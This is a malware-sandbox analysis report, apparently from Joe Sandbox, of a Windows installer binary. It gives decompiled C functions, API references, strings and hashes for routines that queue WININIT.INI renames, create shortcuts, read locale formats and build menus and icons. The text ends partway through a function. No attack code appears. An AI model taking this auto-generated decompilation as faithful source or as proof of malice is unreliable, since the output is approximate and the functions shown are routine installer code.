0x004526a0
0x004526a1
0x004526a6
0x004526a9
0x004526ae
0x004526b3
0x004526b8
0x004526b9
0x004526be
0x004526c1
0x004526d3
0x004526ed
0x004526f6
0x00452705
0x00452708
0x0045270c
0x00452760
0x00452716
0x00452723
0x00452728
0x0045272c
0x00452753
0x00452759
0x0045275e
0x0045275e
0x00000000
0x0045272e
0x00452731
0x00452734
0x00000000
0x00452736
0x0045273e
0x00452743
0x00452745
0x0045274d
0x00452751
0x00000000
0x00000000
0x00452747
0x00452747
0x00000000
0x00452747
0x00452745
0x00452734
0x00000000
0x0045272c
0x00452770
0x0045277a
0x0045277a
0x00452783
0x0045279a
0x00452785
0x0045278b
0x0045278b
0x004527a5
0x004527b2
0x004527ba
0x004527c1
0x004527c9
0x004527ca
0x004527d5
0x004527dc
0x004527e4
0x004527e4
0x00452801
0x004527f1
0x004527fc
0x004527fc
0x0045280f
0x00452812
0x00452815
0x0045281d
0x0045282a
0x0045282a
0x004525f5
0x004525f5
0x004525f7
0x004525f9
0x004525fa
0x00000000
0x004525fc
0x004525fc
0x004525fd
0x004525fd
0x004525fd
0x00452601
0x00452602
0x00452603
0x00452606
0x00452609
0x0045260e
0x00452616
0x0045261d
0x0045261e
0x00452623
0x00452626
0x0045262f
0x0045263a
0x00452643
0x0045264b
0x00452656
0x00452656
0x00452643
0x00000000

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004526D3

Strings

.tmp, xrefs: 0045268F
NUL, xrefs: 00452795
WININIT.INI, xrefs: 00452681
MoveFileEx, xrefs: 004528E3
[rename], xrefs: 00452736, 00452772

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: c2048ae5e48d74ef76196b4200b5e20616c6102c4444108598072f678010fe0f
Instruction ID: d61ef256aa0c7cd0868eec0a7ced69166b375f92d2fe722ad9f6fe2e6f6e2ff5
Opcode Fuzzy Hash: c2048ae5e48d74ef76196b4200b5e20616c6102c4444108598072f678010fe0f
Instruction Fuzzy Hash: 34911174E002099BDB11EBA5C942BDEB7B5EF49305F508567EC00B7392D7B8AE09CA58

Uniqueness

Uniqueness Score: -1.00%

Function 00454B88 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 178
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00454B88(void* __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, short _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v24;
				char* _t53;
				intOrPtr* _t58;
				intOrPtr* _t63;
				intOrPtr* _t67;
				intOrPtr* _t71;
				void* _t73;
				intOrPtr* _t77;
				void* _t79;
				intOrPtr* _t83;
				intOrPtr* _t86;
				void* _t93;
				intOrPtr* _t100;
				intOrPtr* _t105;
				intOrPtr* _t111;
				intOrPtr* _t116;
				char* _t119;
				intOrPtr _t124;
				intOrPtr _t133;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				intOrPtr _t145;

				_t143 = _t144;
				_t145 = _t144 + 0xffffffec;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v24 = 0;
				_v8 = __ecx;
				_t139 = __edx;
				_t141 = __eax;
				_t124 = _a8;
				_push(_t143);
				_push(0x454d7e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t145;
				if(_t124 == 0) {
					_t53 = 0x80004005;
				} else {
					_t53 =  &_v12;
					_push(_t53);
					_push(0x48c788);
					_push(1);
					_push(0);
					_push(0x48ca20);
					L0042CC48();
				}
				if(_t53 != 0) {
					_t124 = 0;
					_t119 =  &_v12;
					_push(_t119);
					_push(0x48c788);
					_push(1);
					_push(0);
					_push(0x48c778);
					L0042CC48();
					_t148 = _t119;
					if(_t119 != 0) {
						E00451EEC("CoCreateInstance", 0, _t119, _t139, _t141, _t148);
					}
				}
				_v16 = 0;
				_v20 = 0;
				 *[fs:edx] = _t145;
				_t58 = _v12;
				 *((intOrPtr*)( *_t58 + 0x50))(_t58, E00403880(_v8),  *[fs:edx], 0x454d61, _t143);
				_t63 = _v12;
				 *((intOrPtr*)( *_t63 + 0x2c))(_t63, E00403880(_a32));
				if(_a28 != 0) {
					_t116 = _v12;
					 *((intOrPtr*)( *_t116 + 0x24))(_t116, E00403880(_a28));
				}
				if(_a24 != 0) {
					_t111 = _v12;
					 *((intOrPtr*)( *_t111 + 0x44))(_t111, E00403880(_a24), _a20);
				}
				_t67 = _v12;
				 *((intOrPtr*)( *_t67 + 0x3c))(_t67, _a16);
				if(_t139 != 0) {
					_t105 = _v12;
					 *((intOrPtr*)( *_t105 + 0x1c))(_t105, E00403880(_t139));
				}
				if(_a12 != 0) {
					_t100 = _v12;
					 *((intOrPtr*)( *_t100 + 0x34))(_t100, _a12);
				}
				_t71 = _v12;
				_t73 =  *((intOrPtr*)( *_t71))(_t71, 0x48c758,  &_v16);
				_t153 = _t73;
				if(_t73 != 0) {
					_t73 = E00451EEC("IShellLink::QueryInterface", _t124, _t73, _t139, _t141, _t153);
				}
				if(_t124 == 0) {
					L19:
					_v20 = E00403DEC(_t141);
					goto L20;
				} else {
					_t93 = E00454A90(_t73);
					_t155 = _t93;
					if(_t93 == 0) {
						goto L19;
					}
					E0042C568(_t141, _t124,  &_v24, 0, _t139, _t141, _t155);
					_v20 = E00403DEC(_v24);
					L20:
					if(_v20 == 0) {
						E00408C94();
					}
					_t77 = _v16;
					_t79 =  *((intOrPtr*)( *_t77 + 0x18))(_t77, _v20, 1);
					_t157 = _t79;
					if(_t79 != 0) {
						E00451EEC("IPersistFile::Save", _t124, _t79, _t139, _t141, _t157);
					}
					E00454AA0(_v16, _t124, _a4, _t141, _t139, _t141, _t157);
					_pop(_t133);
					 *[fs:eax] = _t133;
					_push(0x454d68);
					if(_v20 != 0) {
						_push(_v20);
						L0042CC78();
					}
					if(_v16 != 0) {
						_t86 = _v16;
						 *((intOrPtr*)( *_t86 + 8))(_t86);
					}
					_t83 = _v12;
					return  *((intOrPtr*)( *_t83 + 8))(_t83);
				}
			}

0x00454b89
0x00454b8b
0x00454b8e
0x00454b8f
0x00454b90
0x00454b93
0x00454b96
0x00454b99
0x00454b9b
0x00454b9d
0x00454ba2
0x00454ba3
0x00454ba8
0x00454bab
0x00454bb0
0x00454bcb
0x00454bb2
0x00454bb2
0x00454bb5
0x00454bb6
0x00454bbb
0x00454bbd
0x00454bbf
0x00454bc4
0x00454bc4
0x00454bd2
0x00454bd4
0x00454bd6
0x00454bd9
0x00454bda
0x00454bdf
0x00454be1
0x00454be3
0x00454be8
0x00454bed
0x00454bef
0x00454bf8
0x00454bf8
0x00454bef
0x00454bff
0x00454c04
0x00454c12
0x00454c1e
0x00454c24
0x00454c30
0x00454c36
0x00454c3d
0x00454c48
0x00454c4e
0x00454c4e
0x00454c55
0x00454c64
0x00454c6a
0x00454c6a
0x00454c71
0x00454c77
0x00454c7c
0x00454c86
0x00454c8c
0x00454c8c
0x00454c94
0x00454c9b
0x00454ca1
0x00454ca1
0x00454cad
0x00454cb3
0x00454cb5
0x00454cb7
0x00454cc0
0x00454cc0
0x00454cc7
0x00454ceb
0x00454cf2
0x00000000
0x00454cc9
0x00454cc9
0x00454cce
0x00454cd0
0x00000000
0x00000000
0x00454cd9
0x00454ce6
0x00454cf5
0x00454cf9
0x00454cfb
0x00454cfb
0x00454d06
0x00454d0c
0x00454d0f
0x00454d11
0x00454d1a
0x00454d1a
0x00454d27
0x00454d2e
0x00454d31
0x00454d34
0x00454d3d
0x00454d42
0x00454d43
0x00454d43
0x00454d4c
0x00454d4e
0x00454d54
0x00454d54
0x00454d57
0x00454d60
0x00454d60

APIs

7677B690.OLE32(0048CA20,00000000,00000001,0048C788,?,00000000,00454D7E), ref: 00454BC4

Part of subcall function 00403DEC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403E26
Part of subcall function 00403DEC: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403E31

7677B690.OLE32(0048C778,00000000,00000001,0048C788,?,00000000,00454D7E), ref: 00454BE8
SysFreeString.OLEAUT32(00000000), ref: 00454D43

Strings

IShellLink::QueryInterface, xrefs: 00454CBB
CoCreateInstance, xrefs: 00454BF3
IPersistFile::Save, xrefs: 00454D15

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: 7677B690String$AllocByteCharFreeMultiWide
String ID: CoCreateInstance$IPersistFile::Save$IShellLink::QueryInterface
API String ID: 2378425-615220198
Opcode ID: 3ded40c75012dff9dd3ae82a8ffb6f9a9cc022837f73b4f2e7b1fd63269d23d0
Instruction ID: 47847e775519555dd8af957fb4ba689ed973b0fe44fd76accd0468b8e366bdf7
Opcode Fuzzy Hash: 3ded40c75012dff9dd3ae82a8ffb6f9a9cc022837f73b4f2e7b1fd63269d23d0
Instruction Fuzzy Hash: 8F513171600105AFDB50EFA9C885F9E77F8AF88305F014065F914EB252D778DD48CB18

Uniqueness

Uniqueness Score: -1.00%

Function 004087B4 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E004087B4(void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t148;
				intOrPtr _t156;

				_t153 = __esi;
				_t152 = __edi;
				_push(0);
				_push(0);
				_push(0);
				_push(__esi);
				_push(__edi);
				_push(_t156);
				_push(0x4089fc);
				_push( *[fs:eax]);
				 *[fs:eax] = _t156;
				_t104 = GetSystemDefaultLCID();
				E004085FC(_t31, 0, 0x14,  &_v16);
				E00403598(0x48d498, _t104, _v16, __edi, __esi);
				E004085FC(_t104, 0x408a14, 0x1b,  &_v16);
				 *0x48d49c = E00406E68(0x408a14, 0);
				E004085FC(_t104, 0x408a14, 0x1c,  &_v16);
				 *0x48d49d = E00406E68(0x408a14, 0);
				 *0x48d49e = E00408648(_t104, 0x2c, 0xf);
				 *0x48d49f = E00408648(_t104, 0x2e, 0xe);
				E004085FC(_t104, 0x408a14, 0x19,  &_v16);
				 *0x48d4a0 = E00406E68(0x408a14, 0);
				 *0x48d4a1 = E00408648(_t104, 0x2f, 0x1d);
				E004085FC(_t104, "m/d/yy", 0x1f,  &_v16);
				E00403598(0x48d4a4, _t104, _v16, _t152, _t153);
				E004085FC(_t104, "mmmm d, yyyy", 0x20,  &_v16);
				E00403598(0x48d4a8, _t104, _v16, _t152, _t153);
				 *0x48d4ac = E00408648(_t104, 0x3a, 0x1e);
				E004085FC(_t104, 0x408a48, 0x28,  &_v16);
				E00403598(0x48d4b0, _t104, _v16, _t152, _t153);
				E004085FC(_t104, 0x408a54, 0x29,  &_v16);
				E00403598(0x48d4b4, _t104, _v16, _t152, _t153);
				E004085FC(_t104, 0x408a14, 0x25,  &_v16);
				if(E00406E68(0x408a14, 0) != 0) {
					E004035DC( &_v8, 0x408a6c);
				} else {
					E004035DC( &_v8, 0x408a60);
				}
				E004085FC(_t104, 0x408a14, 0x23,  &_v16);
				if(E00406E68(0x408a14, 0) != 0) {
					E00403548( &_v12);
				} else {
					E004035DC( &_v12, 0x408a78);
				}
				_push(_v8);
				_push(":mm");
				_push(_v12);
				E0040377C();
				_push(_v8);
				_push(":mm:ss");
				_push(_v12);
				E0040377C();
				_pop(_t148);
				 *[fs:eax] = _t148;
				_push(E00408A03);
				return E00403568( &_v16, 3);
			}

0x004087b4
0x004087b4
0x004087b7
0x004087b9
0x004087bb
0x004087be
0x004087bf
0x004087c2
0x004087c3
0x004087c8
0x004087cb
0x004087d3
0x004087e2
0x004087ef
0x00408804
0x00408813
0x00408828
0x00408837
0x0040884a
0x0040885d
0x00408872
0x00408881
0x00408894
0x004088a9
0x004088b6
0x004088cb
0x004088d8
0x004088eb
0x00408900
0x0040890d
0x00408922
0x0040892f
0x00408944
0x00408955
0x0040896e
0x00408957
0x0040895f
0x0040895f
0x00408983
0x00408994
0x004089a8
0x00408996
0x0040899e
0x0040899e
0x004089ad
0x004089b0
0x004089b5
0x004089c2
0x004089c7
0x004089ca
0x004089cf
0x004089dc
0x004089e3
0x004089e6
0x004089e9
0x004089fb

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004089FC,?,?,?,?,00000000,00000000,00000000,?,00409A43,00000000,00409A56), ref: 004087CE

Part of subcall function 004085FC: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0048D4C0,00000001,?,004086C7,?,00000000,004087A6), ref: 0040861A

Part of subcall function 00408648: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040884A,?,?,?,00000000,004089FC), ref: 0040865B

Strings

:mm:ss, xrefs: 004089CA
AMPM, xrefs: 00408999
m/d/yy, xrefs: 0040889D
:mm, xrefs: 004089B0
mmmm d, yyyy, xrefs: 004088BF

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 865e2fdc49fa9c0e7c69f9e116ed740243eb306fe370b25025bc42776b06ac5e
Instruction ID: 1898f190052903b7415bb522bcd58ff52e8278006798509407b2a1fcb900f596
Opcode Fuzzy Hash: 865e2fdc49fa9c0e7c69f9e116ed740243eb306fe370b25025bc42776b06ac5e
Instruction Fuzzy Hash: 5D513A24B01248ABDB01FAA99D41A9E776ADB88704F50D47FB041BB7D7CE3CDA059B1C

Uniqueness

Uniqueness Score: -1.00%

Function 004117BC Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158
windowCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E004117BC(void* __eax, void* __ebx, struct HMENU__* __edx, void* __edi, intOrPtr __esi) {
				char _v8;
				struct tagMENUITEMINFOA _v52;
				char _v56;
				intOrPtr _t91;
				CHAR* _t97;
				short _t128;
				void* _t132;
				intOrPtr _t139;
				struct HMENU__* _t159;
				int _t163;
				void* _t167;
				void* _t171;

				_t160 = __esi;
				_push(__esi);
				_push(__edi);
				_v56 = 0;
				_v8 = 0;
				_t159 = __edx;
				_t132 = __eax;
				_push(_t167);
				_push(0x4119c1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t167 + 0xffffffcc;
				if( *((char*)(__eax + 0x2c)) == 0) {
					L15:
					_pop(_t139);
					 *[fs:eax] = _t139;
					_push(E004119C8);
					E00403548( &_v56);
					return E00403548( &_v8);
				}
				E004035DC( &_v8,  *((intOrPtr*)(__eax + 0x20)));
				if(E00411D64(_t132) <= 0) {
					__eflags =  *((short*)(_t132 + 0x40));
					if( *((short*)(_t132 + 0x40)) == 0) {
						L8:
						_t171 = (GetVersion() & 0x000000ff) - 4;
						if(_t171 < 0) {
							_t163 =  *(0x48c298 + ((E004037CC( *((intOrPtr*)(_t132 + 0x20)), E004119E4) & 0xffffff00 | __eflags == 0x00000000) & 0x0000007f) * 4) |  *0x0048C28C |  *0x0048C27C |  *0x0048C284 | 0x00000400;
							_t91 = E00411D64(_t132);
							__eflags = _t91;
							if(_t91 <= 0) {
								InsertMenuA(_t159, 0xffffffff, _t163,  *(_t132 + 0x30) & 0x0000ffff, E00403880(_v8));
							} else {
								_t97 = E00403880( *((intOrPtr*)(_t132 + 0x20)));
								InsertMenuA(_t159, 0xffffffff, _t163 | 0x00000010, E00411B74(_t132, _t159, _t163), _t97);
							}
						} else {
							_v52.cbSize = 0x2c;
							_v52.fMask = 0x3f;
							_v52.fType =  *(0x48c2cc + ((E004037CC( *((intOrPtr*)(_t132 + 0x20)), E004119E4) & 0xffffff00 | _t171 == 0x00000000) & 0x0000007f) * 4) |  *0x0048C2C4 |  *0x0048C2A0;
							_v52.fState =  *0x0048C2AC |  *0x0048C2BC |  *0x0048C2B4;
							_v52.wID =  *(_t132 + 0x30) & 0x0000ffff;
							_v52.hSubMenu = 0;
							_v52.hbmpChecked = 0;
							_v52.hbmpUnchecked = 0;
							_v52.dwTypeData = E00403880(_v8);
							if(E00411D64(_t132) > 0) {
								_v52.hSubMenu = E00411B74(_t132, _t159, _t160);
							}
							InsertMenuItemA(_t159, 0xffffffff, 1,  &_v52);
						}
						goto L15;
					}
					_t160 =  *((intOrPtr*)(_t132 + 0x44));
					__eflags = _t160;
					if(_t160 == 0) {
						L7:
						_push(_v8);
						_push(0x4119d8);
						E004111A0( *((intOrPtr*)(_t132 + 0x40)), _t132, 0,  &_v56, _t159, _t160);
						_push(_v56);
						E0040377C();
						goto L8;
					}
					__eflags =  *((intOrPtr*)(_t160 + 0x44));
					if( *((intOrPtr*)(_t160 + 0x44)) != 0) {
						goto L7;
					}
					_t128 = E00402CE8( *((intOrPtr*)(_t160 + 4)), 0x410e90);
					__eflags = _t128;
					if(_t128 != 0) {
						goto L8;
					}
					goto L7;
				}
				_v52.hSubMenu = E00411B74(_t132, _t159, __esi);
				goto L8;
			}

0x004117bc
0x004117c3
0x004117c4
0x004117c7
0x004117ca
0x004117cd
0x004117cf
0x004117d3
0x004117d4
0x004117d9
0x004117dc
0x004117e3
0x004119a3
0x004119a5
0x004119a8
0x004119ab
0x004119b3
0x004119c0
0x004119c0
0x004117ef
0x004117fd
0x0041180b
0x00411810
0x00411854
0x0041185d
0x00411861
0x0041195c
0x00411964
0x00411969
0x0041196b
0x0041199e
0x0041196d
0x00411970
0x00411985
0x00411985
0x00411867
0x00411867
0x0041186e
0x004118a9
0x004118d0
0x004118d7
0x004118dc
0x004118e1
0x004118e6
0x004118f1
0x004118fd
0x00411906
0x00411906
0x00411912
0x00411912
0x00000000
0x00411861
0x00411812
0x00411815
0x00411817
0x00411830
0x00411830
0x00411833
0x0041183f
0x00411844
0x0041184f
0x00000000
0x0041184f
0x00411819
0x0041181d
0x00000000
0x00000000
0x00411827
0x0041182c
0x0041182e
0x00000000
0x00000000
0x00000000
0x0041182e
0x00411806
0x00000000

APIs

GetVersion.KERNEL32(00000000,004119C1), ref: 00411854
InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 00411912

Part of subcall function 00411B74: CreatePopupMenu.USER32(?,0041197D,00000000,00000000,004119C1), ref: 00411B8E

InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 0041199E

Part of subcall function 00411B74: CreateMenu.USER32(?,0041197D,00000000,00000000,004119C1), ref: 00411B98

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 00411985

Strings

,, xrefs: 00411867
?, xrefs: 0041186E

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: 01793db05cc1d1000f61b38ee2be08afbd7054388c0db830af7fa18c141c7570
Instruction ID: 7ba0501c80767f15217744d9ac03cda2ca3cae6e070b487bfbc79445ba8f9420
Opcode Fuzzy Hash: 01793db05cc1d1000f61b38ee2be08afbd7054388c0db830af7fa18c141c7570
Instruction Fuzzy Hash: C75126B0A101449BDB10EF7ADC816EE7BF5AB09304B15857BF944E72A2D73CDA41CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0041BF2B Relevance: 10.7, APIs: 7, Instructions: 153
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0041BF2B(signed int __ebx, void* __edi) {
				struct HINSTANCE__* _t118;
				signed int _t125;
				signed int _t127;
				long _t132;
				void* _t134;
				void* _t140;
				intOrPtr _t150;
				signed int _t154;
				void* _t158;
				BYTE* _t159;
				BYTE* _t162;
				signed int _t164;
				void* _t166;
				intOrPtr _t167;

				_t158 = __edi;
				_t127 = __ebx | 0xffffffff;
				 *(_t166 - 0x20) = 0;
				_t134 =  *((intOrPtr*)(_t166 - 0xc)) - 1;
				if(_t134 < 0) {
					L10:
					if(_t127 == 0xffffffff) {
						_t127 = 0;
					}
					 *((intOrPtr*)(_t166 - 0x44)) =  *((intOrPtr*)(_t166 - 0x10)) + (_t127 + _t127) * 8;
					 *((intOrPtr*)(_t166 - 0x30)) = E00406A38( *((intOrPtr*)( *((intOrPtr*)(_t166 - 0x44)) + 8)),  *((intOrPtr*)(_t166 - 0x10)), _t158, 0);
					 *[fs:eax] = _t167;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t166 - 4)))) + 8))( *[fs:eax], 0x41c0e0, _t166);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t166 - 4))))))();
					E0041BC80( *((intOrPtr*)(_t166 - 0x30)),  *((intOrPtr*)(_t166 - 0x30)), _t166 - 0x3c, _t166 - 0x38,  *((intOrPtr*)( *((intOrPtr*)(_t166 - 4)))), 0);
					GetObjectA( *(_t166 - 0x3c), 0x18, _t166 - 0x74);
					GetObjectA( *(_t166 - 0x38), 0x18, _t166 - 0x5c);
					_t132 =  *(_t166 - 0x68) *  *(_t166 - 0x6c) * ( *(_t166 - 0x64) & 0x0000ffff);
					 *(_t166 - 0x40) =  *(_t166 - 0x50) *  *(_t166 - 0x54) * ( *(_t166 - 0x4c) & 0x0000ffff);
					 *((intOrPtr*)(_t166 - 0x18)) =  *(_t166 - 0x40) + _t132;
					 *(_t166 - 0x34) = E00406A38( *((intOrPtr*)(_t166 - 0x18)),  *(_t166 - 0x50) *  *(_t166 - 0x54) * ( *(_t166 - 0x4c) & 0x0000ffff) >> 0x20, _t158, 0);
					_push(_t166);
					_push(0x41c0bd);
					_push( *[fs:eax]);
					 *[fs:eax] = _t167;
					_t159 =  *(_t166 - 0x34);
					_t162 =  &(( *(_t166 - 0x34))[_t132]);
					GetBitmapBits( *(_t166 - 0x3c), _t132, _t159);
					GetBitmapBits( *(_t166 - 0x38),  *(_t166 - 0x40), _t162);
					DeleteObject( *(_t166 - 0x38));
					DeleteObject( *(_t166 - 0x3c));
					_t118 =  *0x48d014; // 0x400000
					 *((intOrPtr*)( *((intOrPtr*)(_t166 - 8)))) = CreateIcon(_t118,  *(_t166 - 0x28),  *(_t166 - 0x24),  *(_t166 - 0x4c),  *(_t166 - 0x4a), _t159, _t162);
					if( *((intOrPtr*)( *((intOrPtr*)(_t166 - 8)))) == 0) {
						E0041B45C();
					}
					_pop(_t150);
					 *[fs:eax] = _t150;
					_push(E0041C0C4);
					return E00402668( *(_t166 - 0x34));
				} else {
					_t140 = _t134 + 1;
					_t125 = 0;
					while(1) {
						_t154 =  *( *((intOrPtr*)(_t166 - 0x10)) + 2 + (_t125 + _t125) * 8) & 0x0000ffff;
						_t164 =  *(_t166 - 0x1a) & 0x0000ffff;
						if(_t154 == _t164) {
							break;
						}
						__eflags = _t127 - 0xffffffff;
						if(_t127 != 0xffffffff) {
							__eflags = _t154 -  *(_t166 - 0x20);
							if(_t154 >  *(_t166 - 0x20)) {
								_t127 = _t125;
							}
						} else {
							__eflags = _t164 - _t154;
							if(_t164 >= _t154) {
								_t127 = _t125;
								 *(_t166 - 0x20) =  *( *((intOrPtr*)(_t166 - 0x10)) + 2 + (_t125 + _t125) * 8) & 0x0000ffff;
							}
						}
						_t125 = _t125 + 1;
						_t140 = _t140 - 1;
						__eflags = _t140;
						if(__eflags != 0) {
							continue;
						} else {
							goto L10;
						}
					}
					_t127 = _t125;
					goto L10;
				}
			}

0x0041bf2b
0x0041bf2b
0x0041bf30
0x0041bf36
0x0041bf39
0x0041bf7d
0x0041bf80
0x0041bf82
0x0041bf82
0x0041bf8e
0x0041bf9c
0x0041bfaa
0x0041bfc4
0x0041bfd7
0x0041bfe1
0x0041bff0
0x0041bfff
0x0041c00f
0x0041c01e
0x0041c026
0x0041c031
0x0041c036
0x0041c037
0x0041c03c
0x0041c03f
0x0041c042
0x0041c048
0x0041c050
0x0041c05e
0x0041c067
0x0041c070
0x0041c087
0x0041c095
0x0041c09d
0x0041c09f
0x0041c09f
0x0041c0a6
0x0041c0a9
0x0041c0ac
0x0041c0bc
0x0041bf3b
0x0041bf3b
0x0041bf3c
0x0041bf3e
0x0041bf45
0x0041bf4a
0x0041bf50
0x00000000
0x00000000
0x0041bf56
0x0041bf59
0x0041bf72
0x0041bf75
0x0041bf77
0x0041bf77
0x0041bf5b
0x0041bf5b
0x0041bf5d
0x0041bf5f
0x0041bf6d
0x0041bf6d
0x0041bf5d
0x0041bf79
0x0041bf7a
0x0041bf7a
0x0041bf7b
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bf7b
0x0041bf52
0x00000000
0x0041bf52

APIs

GetObjectA.GDI32(?,00000018,?), ref: 0041BFF0
GetObjectA.GDI32(?,00000018,?), ref: 0041BFFF
GetBitmapBits.GDI32(?,?,?), ref: 0041C050
GetBitmapBits.GDI32(?,?,?), ref: 0041C05E
DeleteObject.GDI32(?), ref: 0041C067
DeleteObject.GDI32(?), ref: 0041C070
CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041C08D

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: 21ac1b7a451ae89d67a64f248cb283bf6ff7d59a21f2225fedb955a524ed5c7e
Instruction ID: d63a52ddb0c8291f5c637ced4972fc4f1cb22fce5bbc263bf6f2b973d959c792
Opcode Fuzzy Hash: 21ac1b7a451ae89d67a64f248cb283bf6ff7d59a21f2225fedb955a524ed5c7e
Instruction Fuzzy Hash: 6E511675A00219AFCB10DFE9C8819DEB7F9EF48314B11856AF914E7391D738AD82CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041CFA0 Relevance: 10.7, APIs: 7, Instructions: 152
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E0041CFA0(void* __eax, void* __ebx, int* __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				struct HDC__* _v12;
				char _v13;
				char _v14;
				signed char _t57;
				char _t58;
				intOrPtr _t64;
				struct HDC__* _t72;
				void* _t74;
				void* _t81;
				struct HDC__* _t93;
				void* _t106;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t127;
				int* _t129;
				void* _t131;
				void* _t132;
				intOrPtr _t133;

				_t107 = __ecx;
				_t131 = _t132;
				_t133 = _t132 + 0xfffffff4;
				_t129 = __ecx;
				_v8 = __edx;
				_t106 = __eax;
				if(E0041D204(__eax) == 0) {
					SetStretchBltMode(E0041B15C(_v8), 3);
				}
				if( *((intOrPtr*)(_t106 + 0x14)) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x10)) + 0xc)) == 0) {
					_push(0x26);
					_t57 = E0041B15C(_v8);
					_push(_t57);
					L00405D5C();
